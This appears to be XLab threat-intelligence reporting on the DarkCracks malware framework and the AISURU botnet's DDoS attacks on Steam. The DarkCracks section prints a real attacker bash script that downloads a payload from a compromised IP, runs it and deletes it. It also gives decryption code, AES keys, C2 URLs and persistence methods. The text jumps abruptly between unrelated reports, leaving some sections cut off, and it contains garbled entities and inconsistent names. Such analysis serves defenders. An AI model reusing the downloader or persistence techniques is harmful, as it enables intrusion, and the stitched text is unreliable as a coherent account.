trace the origins, we embarked on a thorough investigation, uncovering key insights into the samples, configuration files, C2 servers, and
targeted victims.</p> <ol> <li><p>The compromised systems were found to belong to critical infrastructure across different countries,
including school websites, public transportation systems, and prison visitor systems.</p> </li> <li><p>Through the XLab command tracking
system, we intercepted a directive to change the C2 server, which pointed to a compromised WordPress site.</p> </li> <li><p>We discovered a
GitHub project named &quot;soduku1,&quot; created on July 11, 2023, which stored configuration files.</p> </li> <li><p>On VirusTotal, we
identified an ELF file, <code>c47f7980a18205f309d8432f312fe69</code>, sharing the same origin as the Client. The file contained a source path
<code>/home/erin/Desktop/Works/smart-update/SmartUpdate/client</code>.</p> </li> <li><p>XLab proactively contacted the victims, gaining access
to the C2 Panel, ultimately uncovering the workings of the &quot;Admin Mode.&quot;</p> </li> <li><p>Additionally, we found another GitHub
project, &quot;fTMQPwsmnB,&quot; containing a decoy file titled &quot;&#xAE40;&#xC601;&#xBBF8; &#xC774;&#xB825;&#xC11C;&quot; (Kim Young-
mi&apos;s resume) and QuasarRAT.</p> </li> </ol> <p>In conclusion, a well-designed malicious payload delivery and upgrade framework, active for
over a year, has come into sharp focus. This framework, which we have named <strong>DarkCracks</strong> based on the use of the XOR key
&quot;Crackalackin,&quot; leverages compromised GLPI and WordPress sites as Downloaders and C2 servers.</p> <p>Its primary objectives are to
gather sensitive information from infected devices, maintain long-term access, and use the compromised, stable, high-performance devices as
relay nodes to control other devices or deliver malicious payloads, effectively obfuscating the attacker&#x2019;s footprint.</p> <p>The high
persistence, stealth, and sophisticated upgrade design, coupled with the strategic selection of stable online infrastructure, suggest that the
attackers behind this framework are <strong>far from ordinary script kiddies</strong>. Despite our current inability to capture the Launcher
component and monitor DarkCracks&apos; further activities, the fact that it has remained undetected by security products for over a year
underscores the stealth and efficiency of its attack methods. This warrants serious attention, and we have documented our findings to share
with the security community.</p> <h1 id="targeted-victims">Targeted Victims</h1> <p>DarkCracks assigns different roles based on the performance
of the victim&apos;s device: high-performance devices handle infrastructure roles, such as C2 and Downloader, while lower-performance devices
act as Bot nodes.</p> <p>DarkCracks targets include WordPress and GLPI. WordPress is a globally recognized web content management system, which
I won&apos;t elaborate on here. GLPI (Gestionnaire Libre de Parc Informatique) is a lesser-known open-source IT asset and service management
system, used to help organizations manage their IT assets, including hardware, software, and network devices. It is widely used in small to
medium-sized enterprises, educational institutions, and government agencies to enhance IT infrastructure management and maintenance.</p>
<p>Among the 13 C2/Downloader instances we observed (compromised devices), there are important targets involving city public transport systems,
prison visitor scheduling systems, financial institutions, and other key organizations across various countries.</p> <p></p> <p>According to QIANXin EagleMap, 10,157 GLPI services are currently
exposed online. Organizations using GLPI should urgently check and secure their systems.</p> <p></p> <h1 id="timeline">Timeline</h1> <p>Based on the information we have gathered, we
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have compiled the following timeline of DarkCracks&aposs; activities. Please note that this is only based on our current intelligence, and DarkCracks&aposs; actual activities may have started earlier.</p><p>2023.07.11: The user "adhrpbrn29" created the project "sodukul" to store backup configuration files.2023.07.18: An unencrypted Client was uploaded to VirusTotal from China, with sensitive strings left unencrypted.2024.05.23: Runner samples were uploaded to VirusTotal from Poland, South Korea, the Netherlands, the UK, Germany, and the US. The sensitive strings in these samples were fully encrypted.2024.06.05: DarkCracks Downloader was first detected when Xlab discovered that the IP address 45.169.87.67 had been compromised, hosting multiple Runners (including the ones from May 23rd), configuration files, and Client downloads.2024.06.06: Analysis of the Runner was completed, successfully decrypting the configuration files and Client. It was found that backup configurations were stored on GitHub, with a version number of SUC 2.0. Some CPU architecture samples supported DGA (Domain Generation Algorithm).2024.06.10: An updated C2 command was intercepted, indicating that the new C2 server was a compromised WordPress site.2024.06.12: The IP address 179.191.68.85 was found to be compromised, serving as a download server for DarkCracks. Backup configurations were stored on Pastebin with a version number of SUC 2.01, with all CPU architectures supporting DGA.2024.06.14: A victim provided Xlab with implants left by the hackers on their device, including a C2 panel, configuration files, etc.2024.07.23: Another Runner sample was uploaded to VirusTotal from Finland, Japan, and the US. This sample did not have encrypted sensitive strings and did not support DGA.2024.08.23: The user "adhrpbrn29" created the project "ftMQwSMnB" to distribute QuasarRAT.<h1 id="technical-details">Technical Details</h1><p>Next, we&aposs;ll start with the Downloader and gradually introduce the key components of DarkCracks: Runner, Client, Launcher, and the C2 Panel. By thoroughly analyzing the functions of each component, we aim to clarify the framework&aposs;s design principles and uncover how DarkCracks covertly delivers its payloads through these elements.</p><h2 id="part-1-downloader-analysis">Part 1: Downloader Analysis</h2><p>Regarding the Downloader, we&aposs;ve observed two distinct forms: one is a Metasploit Stager that first receives shellcode to build a shell execution environment before executing a <code>wget</code> download; the other is a bash script that directly downloads files via <code>wget</code> or <code>curl</code>.</p><h3 id="0x01-metasploit-stager">0x01: Metasploit Stager</h3><pre><code> MD5: 8b3d2b156424e5a0dc3f6d2b0dec96b2 Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked</code></pre><p>The Stager communicates with 213.139.233.163:18441, generating network traffic as shown below. Its purpose is to request the file <code>wk8dnj2k-x64-musl</code> from 45.169.87.67.
<p>The file <code>wk8dnj2k</code> is, in fact, DarkCracks&aposs; Runner component. On 45.169.87.67, we discovered multiple variants of the Runner (<code>wk8dnj2k-{cpu}-{compiler}</code>) compiled for ARM, MIPS, and x86/64 CPU architectures using different compilers like gnu, uclibc, and musl. We also found encrypted Client files (<code>se3hf6jwc-{cpu}-{compiler}</code>) and encrypted configuration files (<code>qoakeifm-unknown.txt</code>).</p><p><h3 id="0x02-bash-script">0x02: Bash Script</h3><pre><code> MD5: f8a495a98c43b0805f53be14db09c409 Magic: Bourne-Again shell script text executable</code></pre><p>The script&aposs;s functionality is straightforward: it requests <code>p01iM9hd-x64-musl</code> and <code>j8UgL3v</code> from 179.191.68.85. The former is a Runner, while the latter is an encrypted configuration file.</p><pre><code>#!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget "http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/p01iM9hd-x64-musl" -O wdvsh|curl "http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/p01iM9hd-x64-musl" -o wdvsh; wget http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -o agr|curl http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -o agr; chmod +x ./wdvsh; ./wdvsh agr; sleep 3; rm ./wdvsh; rm ./agr;</code></pre><p>Similarly, 179.191.68.85 also hosts various DarkCracks entities for different CPU architectures.</p><p><h2 id="part-2-runner-analysis">Part2: Runner Analysis</h2><p>The Runner hosted on 45.169.87.67, identified as <code>wk8dnj2k-{cpu}-{compiler}</code>, is version 2.0, while the <code>p01iM9hd</code> series from 179.191.68.85 is version 2.01. The differences between them are minimal. This analysis focuses primarily on the <code>wk8dnj2k</code> Runner for the x64 CPU architecture. Below is its basic information:</p><pre><code>Name: wk8dnj2k-x64 MD5: 93a7cbaledbacb633021ebc38c10a79f Magic: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, stripped</code></pre><p>As the name suggests, the Runner&aposs;s primary function is to act as a launcher, responsible for downloading, decrypting, and executing the Client. Specifically, when the Runner executes, it first checks the runtime parameters and supports a maximum of one parameter: an encrypted JSON configuration file. A valid configuration file, once decrypted, must include at least three fields: <code>key</code> (the key and IV needed to decrypt the Client), <code>emUrl</code> (the download address for the backup configuration file), and <code>clientUrl</code> (the download address for the encrypted Client).</p><p>Upon validating the configuration file, the Runner creates a working directory at <code>/var/tmp/.shm</code>, moves itself to that directory, and renames itself to a UUID-formatted filename. It then generates a new encrypted file, <code>2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1</code>, with the SH3 field containing the content of the original configuration file. The Runner achieves persistence through methods like crontab, <code>.bash_profile</code>, or <code>etc/init.d/rnd</code>. Finally, it downloads, decrypts, and executes the Client.</p><p>If no parameter is specified, the Runner checks for the existence of the file <code>/var/tmp/.shm/2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1</code>, retrieves the configuration file through the SH3 field, and proceeds with the decryption, download, and execution of the Client.</p><h3 id="0x01-decrypting-sensitive-strings">0x01: Decrypting Sensitive Strings</h3><p>To protect its functionality from easy detection, the Runner pre-encrypts sensitive strings and decrypts them as needed using the <code>decstr</code> function.</p><p><p>To decrypt these strings, one can use <code>flare_emu</code> to emulate the <code>decstr</code> function. For example, the ciphertext <code>9MwEVEVWwEXM5Ak06</code> corresponds to the plaintext <code>clientUrl.</code></p><pre><code>import flare_emu def ignorefree(eh, address, argv, funcName, userData): eh.uci.reg_write(eh.regs["rax"], 0) ciphertext=b&aposs;9MwEVEVWwEXM5Ak06&aposs; eh=flare_emu.EmuHelper() eh.apiHooks[&aposs;free&aposs;]=ignorefree eh.emulateRange(startAddr=0x0000000000F9D0,skipCalls=False,registers={&aposs;rdi&aposs;:ciphertext}) print(eh.getEmuString(eh.getRegVal(&aposs;ret&aposs;)))</code></pre><p>Of course, as a security analysis, a simple black-box decryption is insufficient. After thorough examination, the decryption logic of the <code>decstr</code> function can be broken down into three steps:</p>Reverse the string and decode it using Base64 URLSafe mode.XOR each byte with <code>0x201c</code>; CrackalackinsSwap the case of English letters and decode again using Base64 URLSafe mode.<p>Using the IDAPython script in the appendix, the encrypted strings can be restored and patched, making reverse engineering much easier.</p><p><h3 id="0x02-decryption-configuration">0x02: Decryption Configuration</h3><p>We captured two configuration files, <code>qoakeifm-unknown</code> and <code>j8UgL3v</code>. These files use the same encryption method as the sensitive strings. Once decrypted, it&aposs;s noteworthy that the <code>emUrl</code> directs to backup configurations stored on third-party platforms like GitHub and Pastebin.</p>Configuration file <code>qoakeifm-unknown</code> from 45.169.87.67:
Configuration file <code>j8UgL3v</code> from 179.191.68.85:
<p>Each field in the configuration file is described in the table below:</p><table><thead><tr><th><code>Item</code></th><th><code>Description</code></th></tr></thead><tbody><tr><td><code>key</code></td><td><code>AES KEY&IV</code></td></tr><tr><td><code>url</code></td><td><code>Client Report Entry</code></td></tr><tr><td><code>authHeader</code></td><td><code>Auth String</code></td></tr><tr><td><code>emUrl</code></td><td><code>Backup Config</code></td></tr><tr><td><code>runnerUrl</code></td><td><code>Runner Download URL</code></td></tr><tr><td><code>clientUrl</code></td><td><code>Client Download URL</code></td></tr></tbody></table><h3 id="0x03-persistence-mechanism">0x03: Persistence Mechanism</h3><p>Upon successfully decrypting a valid configuration file, the Runner creates the working directory <code>/var/tmp/.shm</code>, moves itself to that directory, renames itself with a UUID, and generates a new encrypted configuration file, <code>2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1</code>.</p><p><p>After moving the file, the Runner achieves persistence using one of the following methods:</p>If the device supports crontab, it uses <code>crontab</code> for persistence.<p><ol start="2">If crontab is unavailable and the current user is a regular user, persistence is achieved through <code>.bash_profile</code>.<p><ol start="3">If crontab is unavailable and the current user is root, persistence is achieved through <code>etc/init.d/rnd</code>.<p><h3 id="0x04-downloading-the-encrypted-client">0x04: Downloading the Encrypted Client</h3><p>The Runner attempts to download the encrypted Client by iterating through three different types of URLs. If any of them succeed, the loop exits; otherwise, it waits 6 to 18 hours before trying again. We refer to this as the three-layer URL task polling.
clientUrl: Direct mode. Simply concatenate the CPU architecture string of the sample to get the Client&aposs;s download address.emUrl and dgaUrl: Indirect mode. They first download the page pointed to by the URL, locate the backup configuration using the <code>seed_string</code>, then decrypt it to obtain the new <code>clientUrl</code>. This forms a redundant structure where the first layer (clientUrl) typically points to compromised sites, which are unstable and may be cleaned up. The second layer (emUrl) points to third-party content hosting platforms, which are more stable but still carry a risk of being banned. The final layer (dgaUrl) is generated monthly as a last resort.<h4 id="emUrl">EmUrl</h4><p>The process for handling <code>clientUrl</code> is straightforward, so let&aposs;s focus on <code>emUrl</code> and <code>dgaUrl</code>. For example, the <code>emUrl</code> in the <code>qoakeifm-unknown</code> configuration file (<code>https://raw.githubusercontent.com/adhrpbrn29/sudoku1/main/main.cpp</code>) contains the following backup configuration in the <code>seed_string</code> variable.</p><p><p>After decrypting the <code>seed_string</code>, the Runner re-enters direct download mode upon obtaining the <code>clientUrl</code>.</p><p><p>The <code>sudoku1</code> project was created on July 11, 2023, at 17:08:29, with the first record containing <code>seed_string</code> submitted at 17:24:02. Currently, there are six submission records.</p><table><thead>

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Besides providing the aforementioned <code>seed_string</code> (details can be found in the Pastebin section of the IOC), it also gives us another perspective: the IP statistics of visitors to this page. Currently, the number of unique IPs accessing this page is approaching 300.</p><p><p>The logic for handling <code>dgaurl</code> is similar to <code>emurl</code>, but the difference lies in their source. While <code>emurl</code> comes from the configuration file <code>dgaurl</code> is algorithmically generated. The algorithm is simple: a domain is generated monthly by formatting the current “year&month” as “%d%02d”, encrypting it with the string encryption algorithm described earlier, and then appending it to “https://s.com” to form the <code>dgaurl</code>. For example, the DGA domain generated for “202408” is <code>UVDFUg0AgJL.com</code>.</p><p><p>We checked the <code>dgaurl</code> from 2023 to the present (details in the IOC section under DGA) and found that all domains are unregistered. This indicates that DarkCracks has remained well-hidden, with the <code>emurl</code> mechanism undetected by the security community, so much so that they haven’t felt the need to activate the final emergency measure.</p><h3 id="0x05-decrypting-and-executing-the-client">0x05: Decrypting and Executing the Client</h3><p>The Client is encrypted using AES CBC mode, with the decryption key and IV provided in the configuration file’s <code>key</code>. The <code>key</code> is a hex string where the first 16 bytes are the key and the last 16 bytes are the IV. The keys in the two captured configuration files are identical: <code>2D8C7FEE42D3DB4A8E55FBFF65351E1B88ADB8A8FCB0DF85EE1CA503300DF342</code>.</p>AES Key2D 8C 7F EE 42 D3 DB 4A 8E 55 FB FF 65 35 1E 1BAES IVB8 AD DB A8 FC BD 0F 85 EE 1C A5 03 3D 0D F3 42<p>Once the Runner successfully decrypts the Client, it saves it in the <code>tmp</code> directory, launches it using the <code>exec</code> function, and deletes itself.</p><p><p>In this section, we’ll focus on analyzing the <code>se3hf6jwc-x64</code> Client. Below are its basic details before and after decryption (interested readers can use the CyberChef script provided in the appendix to decrypt the Client).</p><pre><code>Name:se3hf6jwc-x64 MD5:81ecc9c10368aa54cfe371f83da45a MD5:fe5f484f71bf0fd7afa56e00da7eec6f (Decrypted) Magic:ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, stripped</code></pre><p>Upon analysis, we confirmed that the Client uses a similar architecture to the Runner, namely a "configuration file-driven + three-layer URL task polling" structure. However, unlike the Runner, which primarily polls the <code>clienturl</code>, the Client’s focus is on the C2 reporting endpoint specified in the <code>url</code> field of the configuration file. The Client encrypts and reports sensitive device information to the C2 server, which then sends back encrypted configurations that drive the execution of different tasks.</p><p>Key tasks include:</p>NewVersion Download and update the Runner and Client.NewLauncherVersion Download and update the Launcher.VersionCheckerUrl Update the C2 reporting endpoint.<p>The Client constructs a JSON-formatted beacon with the following code snippet, encrypts it, and sends it as the HTTP body to the C2 server. The Client supports both HTTP and HTTPS. Notably, the <code>platform</code> field’s value is formatted as <code>arch/user(euid)/version"</code>, with the <code>version</code> obtained from <code>proc/version</code>.</p><p><p>As seen in actual captured traffic, the body of the interaction is encrypted.</p><p><p>After decrypting the C2 response, we see that the Client receives a message with a <code>versionCheckerUrl</code> field. The Client then updates its C2 reporting endpoint and requests a new configuration file:</p><pre><code>{"versionCheckerUrl":"https://www.miracles.com.hk/wp-content/plugins/foxipugin/detail.php","authHeader":"Linux MaEW"}</code></pre><p>Speculations on the Launcher Component</p><p>While we have not captured the Launcher component, we can infer the following details based on how the Client handles <code>NewLauncherVersion</code>:</p>The Launcher is stored encrypted on a remote server, using AES encryption.The Launcher likely supports the same encryption algorithm as the Runner and Client.The Launcher is also driven by a configuration file, with core configurations stored at <code>var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6</code>.<p>Evolution of the Client</p><p>We compared the 2.0 and 2.01 versions of the Client samples. The primary differences are whether sensitive strings are encrypted and whether the Client supports the DGA algorithm. These changes seem aimed at enhancing the Client’s stealth and robustness.</p><table><thead><tr><th>Version</th><th>Encrypted String</th><th>DGA Support</th><tr></thead><tbody><tr><td>SUC 2.0</td><td>Y</td><td>N (x86/x64 Y)</td><tr><td>SUC 2.01</td><td>Y</td><td>Y</td></tbody></table><p>Interestingly, even in SUC 2.0, the x86/64 architecture Client already supported sensitive string encryption and DGA features. This indicates that DarkCracks takes a cautious approach to feature upgrades, initially testing new features on select architectures before rolling them out to all architectures once they are fully functional and stable.</p><p><p>The C2 Panel Analysis</p><p>A user whose device was compromised provided us with the C2 Panel files. Below is the basic information about the file:</p><pre><code>MD5:8103a187a710378020dbdee8ff213b5b MD5:69ef27f8e69dbba222c3c33a53906d79 (Deobfuscate) Obfuscation: Yes</code></pre><p>The file is heavily obfuscated, but it can be deobfuscated by gradually replacing <code>eval</code> with <code>print</code>.</p><p><p>The C2 Panel is implemented in PHP and consists of around 600 lines of code. Its functionality is relatively simple and can be summarized as handling requests from different sources based on a hardcoded configuration file, <code>tem9FG5.tmp</code>. It operates in two modes: management mode and business mode.</p>Management Mode This mode handles requests from the Bot Master. The C2 Panel performs operations like adding, deleting, modifying, and querying the configuration file based on the request.Business Mode In this mode, the C2 Panel decides whether to log the Bot or respond to it based on the configuration file.<p>Request Source Identification</p><p>The C2 Panel distinguishes the request source using the <code>authentication</code> field. If the field’s value is <code>Statistics</code>, the request is from the Bot Master; otherwise, it’s from a Bot. Another role of the <code>authentication</code> field is to verify whether the request is from a legitimate Bot. Each C2 Panel has a specific <code>authHeader</code> set during initialization, and the C2 only responds when the Bot’s <code>authentication</code> matches the C2’s <code>authHeader</code>.</p><p><p>Configuration File</p><p>The configuration file, <code>tem9FG5.tmp</code>, acts like a database, recording the Bot Master’s settings and storing information about the Bots. To understand the format and fields supported by this configuration file, we generated a configuration file by sending two test requests to a test machine, simulating the initialization and Bot check-in.</p>Initialize "authentication":"Statistics","isActive":true,"authHeader":"XLab"`

confirmed that <code>version.dll</code> is malicious. Its function is to use the AES algorithm to decrypt a binary resource, which ultimately yields a shellcode. This shellcode loads a payload that is an open-source remote control trojan, QuasarRAT. The AES key is <code>FCFF50FB13B09C44F806CF4947381718</code>, and the IV is <code>2DD695D6845AA9F83F0071B709D78CBD</code>. In addition to AES, XOR encryption is used to decrypt strings, with the XOR key being <code>quackquack</code>.</p>
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targets of attack. In total, 107 server IPs were attacked.</p><p>The attack was mainly divided into four waves. The attackers seemed to intentionally choose to launch attacks during the peak online hours of gamers in various time zones to achieve the greatest destructive effect.</p><p>Given the timing of the attack, the geographical distribution, and the simultaneous targeting of both domestic and international Steam servers, it is clear that the attackers' aim is to disrupt the Chinese market significantly while causing comprehensive interference with the normal operations of the Steam platform on a global scale. This organized attack demonstrates the attackers' meticulous planning in strategy and precise targeting of their objectives.</p><h2 id="attack-period-analysis">Attack Period Analysis</h2><p>The attack was mainly divided into four waves, following the time zone. They were Saturday noon in the Eastern Hemisphere, Saturday evening in the Eastern Hemisphere, Saturday evening in the Western Hemisphere, and Sunday evening in Europe, which are all peak times for online gamers. The specific attack time periods and regions are as follows: (Chart description: the horizontal axis is the attack time, the vertical axis is the attacked area, and the color blocks represent the number of servers attacked in the area)</p><p></p><p></p><p>Around 11:00 BST on 24 August, the first wave of attacks affected Steam servers in 7 regions and lasted for nearly 1 hour (Saturday noon in the Eastern Hemisphere).Around 21:00 BST on 24 August, the second wave of attacks, affecting 13 regional Steam servers, with intermittent attacks lasting nearly 5 hours (Saturday evening in the Eastern Hemisphere).Around 09:00 BST on 25 August, a third wave of attacks, affecting 13 regional Steam servers, attacked for nearly 15 minutes (Saturday night in the Western Hemisphere).Around 04:00 BST on 26 August, the fourth wave of attacks, affecting Steam servers in 13 regions, the attacks lasted nearly 2 minutes (Sunday night in Europe).</p><p></p><p><center>Detailed time and area of the four waves of attacks</center><h2 id="steams-attacked-services">Steam's Attacked Services</h2><p>Judging from the following keywords of Steam servers, the servers attacked are mainly: content servers, ingest, broadcasts, and related services.</p><pre><code> 27 ext2 27 ext1 18 cm2 18 cm1 11 ext3 9 ext4 5 cm5 5 cm4 5 cm3 4 cm6 3 ext5 1 ingest 1 ext6 1 cm05 1 broadcastscs</code></pre><h2 id="potential-motives">Potential motives</h2><p>In this attack, we observed a total of 280,000 attack instructions against the Steam platform. According to our long-term observation, as a well-known gaming platform, Steam attacks occur daily, but they are often small-scale attacks on scattered servers, with the number of attack instructions ranging from a few to dozens of times. In this incident, the number of attack instructions increased by more than 20,000 times, and the peak was 250,000. This increase is very rare (see the figure below, the attack instruction trend chart, the huge spike). Steam's servers in various regions around the world were attacked in turn, including the Steam servers represented by Perfect World in China, which were also attacked. Before the launch of Black Myth: Wukong, we rarely saw major attacks targeting the Perfect World servers. And the attack lasted for up to several hours, and the attack was specifically targeted at the peak time when players in various regions were online. This is extremely rare.</p><p></p><p><center>The attack trend of Steam platform in the past year</center><p>The following is a screenshot of our CTIA System. It shows the ranking of attacked companies in the past month. Steam (Value Company) and Perfect World ranked first and second, far ahead of well-known companies such as Verizon.</p><p></p><p>The timing of the Steam attack incident coincided with the first weekend after the launch of Black Myth: Wukong on the Steam platform, and prior to the release of Black Myth: Wukong, we had not witnessed many DDoS attacks on Perfect World Steam servers, which primarily serve domestic gamers. Combining these two points, it is difficult not to suspect that this attack was specifically targeted at the Chinese 3A game masterpiece "Black Myth: Wukong"</p><h1 id="main-botnets-involved">Main botnets involved</h1><p>As a worldwide gaming platform, Steam is highly unlikely to be overwhelmed by a smaller-scale botnet. Rather, it is more plausible that numerous botnets were organized and coordinated to launch a concerted attack. It's important to note that no organization in the world possesses an omniscient perspective. This article, from the perspective of Xlab, merely analyzes this particular attack incident.</p><p>Multiple botnets were involved in this attack, with the main force being the self-proclaimed AISURU botnet. It claimed to have more than 30,000 bots in its Telegram channel, with an attack capability of around 1.3 to 2 terabits per second.</p><p>Below is a graph of the botnet's dstat：</p><p></p><p>In addition the channel also mentioned G☂'s Blog, which claimed that it was the largest attack ever reported to the public, and we also found attacks launched from the same time node in the attack logs of this botnet：
</p><p>Some readers may not have an idea of these numbers, so let's look at the answers from the hottest AI today.</p><blockquote><p>A botnet with 30,000 bots and an attack capability between 1.3 Tbps (terabits per second) and 2 Tbps represents a very powerful network attack capability. To understand this concept, the following aspects can be analysed：</p><p>Scale of attack：Attack traffic of 1.3 Tbps to 2 Tbps is already huge enough to cause a serious Distributed Denial of Service attack (DDoS), which can cripple a target server, network or application. Typically, traditional enterprise network bandwidth is well below this level, so such an attack can have a devastating impact on the target.Number of bots：30,000 bots means that 30,000 controlled devices are involved in the attack. Each bot may contribute a certain amount of bandwidth to launch the attack, aggregating to a total attack traffic of 1.3 Tbps to 2 Tbps。Practical effect：A DDoS attack of this magnitude can easily overwhelm most Internet services unless the attacked party has very strong protections and sufficient bandwidth redundancy. This type of attack is commonly seen in high-profile hacking campaigns targeting large corporations, government agencies, or critical infrastructure.</blockquote><h1 id="aisuru-botnet-technical-details">AISURU Botnet Technical Details</h1><p>Just as Rome wasn't built in a day, the AISURU botnet has its own development history. In fact, we captured samples of this botnet back in October 2023, but it disappeared after a brief period of operation. It wasn't until early May of this year that it re-emerged in our sights under the name <code>NAKOTNE</code>, and then entered a period of rapid development. It successively exploited more than a dozen 0-day vulnerabilities to build its botnet, ultimately evolving into today's AISURA.</p><p>The AISURA's tactics and technical aspects are closely related to the Fodcha botnet we discovered and named in 2022. Fodcha has become notorious in the cybersecurity community for its involvement in influential attacks on health codes and Navicat, among other incidents, earning it the nickname "DDoS Maniac" from us. Ultimately, under our series of exposures and strikes, it was forced to shut down.</p><p>In our view, AISURA seems to be a "follower" or "disciple" of Fodcha, effectively inheriting Fodcha's legacy in both technology and tactics, yet it has also developed a distinctive style, with a threat level no less significant than that of Fodcha.</p><p>From the tactical aspects, it is similar to Fodcha in that it enjoys provoking security companies and hopes to be publicly named and exposed by well-known security firms to gain attention and boost traffic. By using this unconventional advertising approach, it seeks to gain an advantage in the fiercely competitive cybercrime industry, seemingly well aware of the saying, "Even fine wine fears a deep alley."</p><p>In the early samples of AISURA, it expressed its "respect" for the security community in this way: <code>N3tL4b360G4y</code>, <code>paloaltoisgaytoo</code>. "paloaltoisgaytoo" refers to Palo Alto Networks, a very famous security company in the United States with a market value of over 100 billion; what about <code>N3tL4b360</code>? In fact, it is a Hextspeak that is quite popular in the security community, which refers to the name of our former team. After we disclosed this batch of samples, it quickly and tactfully replaced <code>N3tL4b360G4y</code> with <code>xlab gay</code> in the new samples. Undoubtedly, this has once again brought us exposure. AISURU also pays great attention to our blog. In the latest sample, another message was added: "today at xlab, botnet operators learn how to dance macarena," which reminds us of the previously disclosed Rimasuta botnet, which once left a message in the sample <code>this week on netlab 360 botnet operator learns chacha slide.</code> Today learning chacha slide, tomorrow practicing macarena, both of which are dancing, could it be that the operators of botnets are mostly dance enthusiasts? In this regard, we would like to say to the botnet community, "practice well, and develop a more exciting 'botnet dance' to amaze us!"</p><p></p><p>In the samples, the C2 domain name <code>foxnointel.ru</code> is mentioned, which has a humorous connotation. It plays on the ID of an active security researcher on platform X, Fox_threatintel, who regularly shares threat intelligence. AISURA's use of the C2 domain <code>foxnointel</code> suggests <code>fox no intel</code>, as if mocking the researcher having no intelligence.</p><p>From the technical aspects, AISURA has retained some of Fodcha's style in its <code>code structure</code>, such as using a similar switch-case approach for handling various network stages; in terms of <code>infrastructure investment</code>, it has continued Fodcha's "sense of crisis," mapping the C2 domain to more than 20 IPs, distributed across multiple countries including the United States, the United Kingdom, South Korea, Japan, and Russia, while also being spread across platforms like Azure, Linode, Vdsina, and Google, greatly increasing the difficulty of remediation. The geographical distribution of AISURA's main control is as follows:</p><p><pre><code> 8 United States 3 United Kingdom 3 South Korea 3 Russia 2 Singapore 2 Japan 2 India 1 The Netherlands 1 Switzerland 1 Poland 1 Brazil</code></pre></p><p>Of course, the botnet that likes to stand out is certainly not willing to be labeled as an imitator. AISURA has implemented its own unique innovations in aspects of <code>encryption</code>, <code>network communication</code> and others.</p><h2 id="string-encrypt">String encrypt</h2><p>Earlier versions used CHACHA20 to encrypt the strings in the samples, and in later versions XXTEA encryption was used.</p><p><code>NAKOTEN_XXTEA_KEY_HEX: <code>1234567890ABCDEFEDCBA9876543210</code></p><p>In the latest version, the previous KEY is still retained in the sample, but the length has been shortened to 4 and the algorithm is moving towards simplicity by replacing it with BYTES_XOR.</p><p><code>AISURU_BYTES_KEY_HEX: <code>12345678</code></p><p>The following is a table of decrypted strings:</p><p><pre><code>0x1a42c snow slide 0x1a6d0 a|b|c|d|e|f|g|h|i|j|k:printerconsulting.ru|foxnointel.ru 0x1a438 reports.printerconsulting.ru 0x1a708 5.35.45.162|5.35.44.1|166.1.160.38|194.147.35.35 0x1a458 /login/products/contact/register/user 0x1a484 /dev/null 0x1a490 /dev/tty 0x1a49c /dev/pts/1 0x1a4a8 /dev/console 0x1a4b8 /.ai 0x1a4c0 /proc/ 0x1a4c8 /proc/self/exe 0x1a4d8 /proc/net/tcp 0x1a4e8 /cmdline 0x1a4f4 /exe 0x1a4fc /proc/uptime 0x1a50c /maps 0x1a514 /fd/ 0x1a51c socket 0x1a524 wget|curl|ftp|ntpd|echo 0x1a540 telnetd|unpnc-static|udhpcp|usr/bin/inetd|ntpc|lient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpcd|upnpd|watchdog|syslogd|klogd|uhttpd|uc 0x1a5f4 /dev/watchdog 0x1a604 /dev/misc/watchdog 0x1a618 TSource Engine Query 0x1a630 xlab gay 0x1a63c paloaltoisgaytoo 0x1a650 shell 0x1a658 system 0x1a660 enable 0x1a668 sh 0x1a73c /bin/busybox AISURU 0x1a66c AISURU: applet not found 0x1a688 incorrect 0x1a694 today at xlab, botnet operators learn how to dance macarena</code></pre><h2 id="network-protocol">Network Protocol</h2><p>The October 2023 version utilized <code>N3tL4b360G4y</code> as the first payload package and embedded this string in its raw form within the sample. Following exposure, we received a new "response": from the <code>NAKOTNE</code> version onwards, <code>xlab gay</code> was adopted as the first payload package, and it was encrypted and encoded into the string table.</p><h3 id="extract-c2">Extract C2</h3><p>In the past, domain names or IPs were directly encrypted and encoded in the string table. However, in the samples we found at the beginning of August, a new mechanism was used to extract C2.</p><p>In the decrypted string table above, the following suspicious strings exist:</p><pre><code>[1


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a[b]c[d]e[f]g[h]j[k;printerconsulting.ru|foxointel.ru [2] 5.35.44.121|166.1.160.38|194.147.35.35 [3]
/login|/products/contact/register|user </code></pre> <p>After analysis, the new mechanism uses the following steps to obtain C2&#x5FF1A;</p>
<ol>
<li>Split subdomains and second-level domains in [1] by <code>|</code>, then split each item by <code>|</code></li>
<li>Randomly select a subdomain and a second-level domain name, splice them together to get a C2 domain</li>
<li>If resolve the above C2 domain fails, split [2], [3] with <code>|</code> to get IP and URI</li>
<li>Constructs a GET request based on IP and URI and sends it</li>
<li>Get the C2 IP in the response payload in 4-byte increments</li>
</ol>
<p></p>
<p>The port used by C2 is hardcoded in the sample, randomly selecting from the following 21 ports:</p>
<pre>
<code>2348,12381,8932,8241,38441,23845,8745,6463,7122,1114,6969,1337,4200,3257,7214,2474,4444,2222,3333,5555,24811
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<h3 id="network-communication">Network Communication</h3>
<p>The communication process has remained unchanged across multiple versions, using a switch-case similar to that of <code>Fodcha</code> for processing each stage&#x5FF1A;</p>
<p></p>
<ol>
<li>First payload: <code>xlab gay</code></li>
<li>Key Exchange <ul>
<li>Use XXTEA to decrypt the payload to get CHACHA20_KEY, CHACHA20_Nonce</li>
<li>Hardcoded NET_XXTEA_KEY_HEX: <code>428723212B0106344C7A09532236921</code></li>
</ul>
<li>Key Verify <ul>
<li>Decrypt the data using the exchanged key and verify the key consistency by comparing the decrypted string <code>paoloaltoisgaytoo</code></li>
</ul>
